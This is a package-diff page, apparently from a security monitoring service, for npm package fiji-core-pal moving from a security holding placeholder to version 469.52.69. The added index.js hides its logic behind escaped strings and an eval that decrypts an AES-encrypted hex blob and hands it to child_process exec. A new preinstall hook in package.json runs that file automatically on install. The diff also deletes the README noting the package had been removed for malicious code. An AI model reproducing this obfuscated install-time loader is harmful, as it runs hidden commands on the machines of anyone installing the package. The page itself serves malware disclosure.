fiji-core-pal 0.0.1-security → 469.52.69

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fiji-core-pal might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +13 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,13 @@
1
+ // encryption is fun
2
+ const crypto = require('\u0063\u0072\u0079\u0070\u0074\u006F');
3
+ const ENCRYPTION_KEY = '\x65\x76\x6F\x6Cs\151\156\157\151\164\160\171\162c\u006E\u0065\u0065\u0076\u006F\154\163\151\156\157\151tp\u0079\u0072\u0063\u006E\u0065';
4
+ const IV_LENGTH = 16;
5
+ let iv = '\145\156\143\162\u0079\u0070\u0074\u0069\u006F\x6E\x69\x73love';
6
+ function decrypt(text) {
7
+ let encryptedText = Buffer.from(text, 'hex');
8
+ let decipher = crypto.createDecipheriv('\x61\x65\x73\x2D\u0032\u0035\u0036\u002D\u0063\u0062\u0063', Buffer.from(ENCRYPTION_KEY), iv);
9
+ let decrypted = decipher.update(encryptedText);
10
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
11
+ return decrypted.toString();
12
+ }
13
+ eval('\x63\x6F\x6E\x73\x74\x20\x7B\x20\x65\x78\x65\u0063\u0020\u007D\u0020\u003D\u0020\u0072\u0065\u0071\165\151\162\145\50"\u0063\u0068\u0069\u006Cd_pr\157\143\145\163\163"\u0029\u003B\u0065\u0078\u0065\u0063\u0028\u0064\145\143\162\171\160\164\50"530e319591b0a6c00b10e2e427a2490fac8ac157dd5fac0a15e84283434035c894ffca8e82eefd511067ca9eb629c74760a20fa4d766ad143ed13fd13e620e69334495176bfceb985e2c0f39ad46b1344ab8bdf43d87cdeab04956e509579f4ac5f3d89c5637c27b453f1231a6ac0ba6b424c05553a87f8f7d7acf83d9eaa43bc579c1a5ac99bb6aad48feffc2a44fa1f769b1e734bc25d6828551fff49a860f1ca03be7367cb3a7eaf24e346e7590d0d2add9a336fa4010e5717c741e393ed980af6f22c66bf0ca80873acc38efab4bfcd3d74ca63016fe982d9e8c9cd9a3b11bcb4493ee76d1323c169bf43efd82ad"))');
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "fiji-core-pal",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "469.52.69",
4
+ "description": "Encryption module for Fiji Core Pal for personal project.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "parrotman",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=fiji-core-pal for more information.